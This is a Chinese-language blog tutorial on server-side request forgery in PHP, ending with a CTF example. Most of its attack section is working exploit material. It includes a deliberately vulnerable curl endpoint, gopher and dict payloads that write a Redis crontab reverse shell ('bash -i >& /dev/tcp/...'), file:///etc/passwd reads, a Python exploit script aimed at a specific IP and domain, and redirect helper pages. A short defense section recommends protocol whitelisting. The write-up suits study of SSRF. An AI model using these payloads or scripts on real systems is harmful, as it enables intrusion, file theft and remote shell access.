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SSRF 漏洞分析与利用(含 CTF 例题)

404notfound 计算机与网络安全 2022-06-01

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总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的。

一、漏洞产生


以curl为例,漏洞代码为ssrf.php


<?php 

$ch = curl_init(); 

curl_setopt($ch, CURLOPT_URL, $_GET['url']); 

#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_HEADER, 0); 

#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

curl_exec($ch); 

curl_close($ch); 

?>


二、 利用方式


首先查看curl的版本和该版本支持的协议


[root@localhost html]#  curl -V

curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7 

libidn/1.28 libssh2/1.4.3

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp 

scp sftp smtp smtps telnet tftp 

Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-

sockets

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多。

ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。

先监听本地2333端口,然后利用gopher协议访问

[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726


[root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?

url=gopher://127.0.0.1:2333/_test'


[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726.

test


可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白

dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问


http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info


即可看到redis的相关配置。


http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info


即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。

file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问


http://4o4notfound.org/ssrf.php?url=file:///etc/passwd


即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了

http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用


三、攻击应用


主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell。

首先要了解redis的getshell的exp写成的bash shell:

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 

-p $2 -x set 1 

redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config 

set dbfilename root 

redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit


执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。

gopher利用:这部分三叶草的joychou师傅说的很详细,可以看ssrf in php。
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379


意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转。

执行命令

bash shell.sh 127.0.0.1 4444


socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):


[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

> 2017/05/25 07:16:51.991865  length=18 from=0 to=17

*1\r

$8\r

flushall\r

< 2017/05/25 07:16:51.992468  length=5 from=0 to=4

+OK\r

> 2017/05/25 07:16:51.995872  length=83 from=0 to=82

*3\r

$3\r

set\r

$1\r

1\r

$56\r


*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1


\r

< 2017/05/25 07:16:51.996065  length=5 from=0 to=4

+OK\r

> 2017/05/25 07:16:51.998777  length=57 from=0 to=56

*4\r

$6\r


改成适配gopher协议的url:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0

a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 

0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad

ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$

10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq

uit%0d%0a


再进行urlencode,得到payload:

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d

%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20

bash%20-

i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d

%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250

a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250

d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen

ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2

A1%250d%250a%244%250d%250aquit%250d%250a


最终的攻击poc为:

curl -v 'http://127.0.0.1/ssrf.php?

url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%

250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2

A%20bash%20-

i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d

%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250

a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250

d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen

ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2

A1%250d%250a%244%250d%250aquit%250d%250a'


执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell。

dict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。

利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:

import requests

host = '104.224.151.234'

port = '6379'

bhost = 'www.4o4notfound.org'

bport=2333

vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='

_location = 'http://www.4o4notfound.org/302.php'

shell_location = 'http://www.4o4notfound.org/shell.php'

#1 flush db

_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host,

 port = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

#set crontab command

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=

{bport}'.format( host = host, port = port, bhost = bhost, bport = bport)

exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload,

 vul_httpurl=vul_httpurl)

print exp_uri 

print requests.get(exp_uri).content

#confg set dir

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

#config set dbfilename

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dbfilename:root'.format( host = host, port = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,

 vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

#save

_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port

 = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,

 vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content


因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:


<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data"); ?>


shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:


<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$bhost = $_GET['bhost'];

$bport = $_GET['bport'];

$scheme = $_GET['s'];

header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-

i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>


执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell。


四、绕过与防御

绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤。

防御:限制协议为HTTP、HTTPS。

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

禁止30x跳转

删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

设置白名单或限制内网ip

五、例题

一道ctf题目,有两个文件:ssrf3.php和flag.php

题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过

curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转

首先获取访问flag.php的post请求:

POST /flag.php HTTP/1.1

Host: 192.168.154.130

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 14


username=admin


因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。

302.php内容为:

header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost: 

127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) 

Gecko/20100101 Firefox/50.0%0d%0aAccept: 

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language: 

zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip, 

deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-

Type: application/x-www-form-urlencoded%0d%0aContent-Length: 

14%0d%0a%0d%0ausername=admin");


流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。

因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的。

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